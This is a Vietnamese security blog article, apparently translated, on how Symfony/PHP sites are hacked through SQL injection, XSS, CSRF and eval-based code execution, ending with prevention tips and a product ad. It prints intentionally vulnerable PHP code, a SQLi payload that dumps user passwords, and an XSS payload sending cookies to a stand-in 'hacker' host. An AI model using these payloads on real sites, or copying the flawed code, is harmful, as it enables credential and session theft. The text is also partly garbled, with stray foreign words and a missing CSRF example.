Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Trang Web Symfony Bị Xâm Nhập: Triệu Chứng, Nguyên Nhân Gốc & Cách Bảo Mật Ứng Dụng PHP

Symfony là một framework PHP phổ biến giúp người dùng dễ dàng tạo trang web và ứng dụng web PHP. Trong quá khứ, có những trường hợp Drupal bị ảnh hưởng do lỗ hổng trong framework Symfony. Cuối cùng, dẫn đến trang web Symfony bị hack. Dù đôi khi là lỗi của framework Symfony, nhưng thực hành phát triển không an toàn cũng làm cho trang web PHP của bạn dễ bị tấn công. Qua bài viết này, bạn sẽ tìm hiểu các lỗ hổng quan trọng có thể dẫn đến hack trang web Symfony và cách ngăn chặn chúng.

Sự phổ biến của Symfony có thể归因于 việc nó cung cấp một tập hợp các thư viện PHP tách biệt và có thể sử dụng. Các thư viện này có thể tăng tốc độ phát triển và làm cho nó dễ dàng hơn tổng thể. Tuy nhiên, chỉ sử dụng framework Symfony không thể bảo mật trang web PHP của bạn. Theo dữ liệu từ Contrast Security,

Triệu Chứng Trang Web Symfony Bị Hack

  • Các bảng đáng ngờ trong cơ sở dữ liệu, người dùng không xác định và tệp không xác định trên hệ thống có thể là dấu hiệu của SQL Injection Symfony.
  • Cửa sổ bật lên và quảng cáo chuyển hướng đến miền đáng ngờ có thể là kết quả của Remote Code Execution Symfony.
  • Nếu người dùng phàn nàn về xóa tài khoản hoặc thao túng dữ liệu mà không có sự xác thực của họ trên trang web của bạn, có thể do Cross-Site Request Forgery Symfony.
  • Nội dung vô nghĩa xuất hiện trên trang web do Stored Cross-Site Scripting Symfony.
  • Do tất cả các trang web Symfony bị hack, công cụ tìm kiếm cảnh báo người dùng không truy cập trang web của bạn.

Trang Web Symfony Bị Xâm Nhập: Triệu Chứng, Nguyên Nhân Gốc & Cách Bảo Mật Ứng Dụng PHP

Nguyên Nhân Trang Web Symfony Bị Hack

Trang Web Symfony Bị Hack: SQL Injection

SQL Injection Symfony là loại tấn công chủ yếu nhắm vào cơ sở dữ liệu của trang web. Thiếu làm sạch đầu vào người dùng làm cho trang web dễ bị tổn thương và dẫn đến hack Symfony. Ví dụ, xem mã dưới đây:

 

<?php $query  = "SELECT id, name, inserted, size FROM products WHERE size = '$size'"; $result = odbc_exec($conn, $query); ?>

Đây trông như một mã PHP đơn giản để thực thi truy vấn SQL, nhưng kẻ tấn công có thể sử dụng nó để tiết lộ tất cả mật khẩu từ cơ sở dữ liệu bằng lệnh SELECT SQL. Đầu vào cung cấp cho biến $size sẽ trông giống như:

 

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--

Câu lệnh này khi thực thi có thể liệt kê tất cả mật khẩu từ bảng tên user. Ký hiệu '--' ở cuối câu lệnh sẽ biến phần còn lại của mã trong dòng này thành comment để tránh lỗi. Đây chỉ là ví dụ nhỏ, kẻ tấn công có thể sử dụng nhiều cách để thao túng, chỉnh sửa thậm chí xóa cơ sở dữ liệu của bạn. Trong một số trường hợp hack Symfony, SQLi cũng có thể được dùng để lấy reverse shell.

Trang Web Symfony Bị Hack: Cross-Site Scripting

XSS là lỗ hổng phổ biến xảy ra do thiếu làm sạch đúng cách đầu vào người dùng. Lỗ hổng này thường thấy trong hộp tìm kiếm, bảng tin, v.v. Trang web Symfony bị hack do XSS có thể được kẻ tấn công dùng để đánh cắp cookie và do đó chiếm lấy phiên (session). Ví dụ, tạo truy vấn tìm kiếm với mã sau có thể cho phép kẻ tấn công đánh cắp cookie của bất kỳ ai nhấp vào nó.

 

"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>

Ở đây ký tự '>' sẽ đóng thẻ trước đó. Sau đó, constructor image() sẽ tạo hình ảnh mới trong biến 'img'. Dòng tiếp theo xác định nguồn hình ảnh và trong cùng dòng, phương thức document.cookie sẽ được dùng để lấy cookie để chiếm phiên.

 

Nếu XSS là stored (lưu trữ) hoặc persistent, nó thậm chí nguy hiểm hơn vì script này sẽ tự động đánh cắp cookie khi ai đó mở trang bị nhiễm. Trong khi reflected XSS dựa vào tấn công social engineering. Không chỉ đánh cắp cookie mà Symfony bị hack do XSS còn có thể dùng cho mọi loại tấn công lừa đảo (phishing)!

Cần giúp đỡ sửa chữa trang web Symfony bị hack? Dọn dẹp trang web ngay

 

Trang Web Symfony Bị Hack: Cross-Site Request Forgery

CSRF có thể được kẻ tấn công dùng để khiến nạn nhân thực hiện các tác vụ không mong muốn như xóa tài khoản, thao túng dữ liệu người dùng, v.v. Ví dụ, khi người dùng đã đăng nhập vào trang web của bạn, truy cập một trang được tạo đặc biệt như dưới đây có thể dẫn đến xóa tài khoản.

Trang Web Symfony Bị Xâm Nhập: Triệu Chứng, Nguyên Nhân Gốc & Cách Bảo Mật Ứng Dụng PHP

Trang này sẽ sử dụng giá trị 'delete' của action để xóa tài khoản người dùng. Dù kẻ tấn công có thể dùng CSRF thực hiện nhiều tấn công, không có cơ chế để họ thấy việc thực hiện có thành công hay không.

Trang Web Symfony Bị Hack: Remote Code Execution

Remote code execution xảy ra trên các trang web sử dụng Symphony do tiêu chuẩn mã hóa kém. Vấn đề bảo mật lớn nhất trong tất cả các cuộc tấn công trên là tin tưởng đầu vào người dùng. Ví dụ, sử dụng kém hàm eval() trong PHP sẽ trông như sau:

 

$myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

Đây trông như mã đơn giản lấy tham số và dùng eval để thực thi chuỗi như mã PHP. Но vì đầu vào không được lọc, kẻ tấn công có thể cung cấp giá trị như /index.php?arg=1; phpinfo() dẫn đến thực thi mã của hàm phpinfo().

Trang Web Symfony Bị Xâm Nhập: Triệu Chứng, Nguyên Nhân Gốc & Cách Bảo Mật Ứng Dụng PHP

Trang Web Symfony Bị Hack: Thực Hành Phát Triển An Toàn

  • Để ngăn chặn tấn công SQLi trên trang web Symfony, hãy sử dụng prepared statements (câu lệnh chuẩn bị).
  • Để ngăn chặn tấn công XSS trong trang web Symfony, hãy dùng hàm htmlspecialchars(). Triển khai mỗi khi đầu vào người dùng cần hiển thị đầu ra trên trình duyệt.
  • Triển khai token ngẫu nhiên ẩn trong trang để tránh tấn công CSRF như sau: <input type="hidden" name="csrf" value="<?php echo $_SESSION["token"]; ?>">
  • Để ngăn chặn RCE, vô hiệu hóa tất cả hàm nguy hiểm qua chỉ thị PHP này trong file php.ini: disable_functions = "show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
  • Vì vậy, cốt lõi là hầu hết lỗ hổng có thể tránh được bằng cách không tin tưởng đầu vào người dùng trên trang web Symfony.
  • Thực hiện kiểm tra bảo mật toàn diện nếu bạn nghi ngờ bất kỳ lỗ hổng nào đang ẩn nấp trên trang web.

Astra

Với trình quét mã độc dựa trên machine learning và tường lửa thông minh, bảo mật trang web của bạn trở nên vững chắc hơn. Tất cả đều có mức giá hợp lý vì các gói linh hoạt phục vụ cả các trang web nhỏ. Nhận dùng thử miễn phí Astra Web Protection ngay!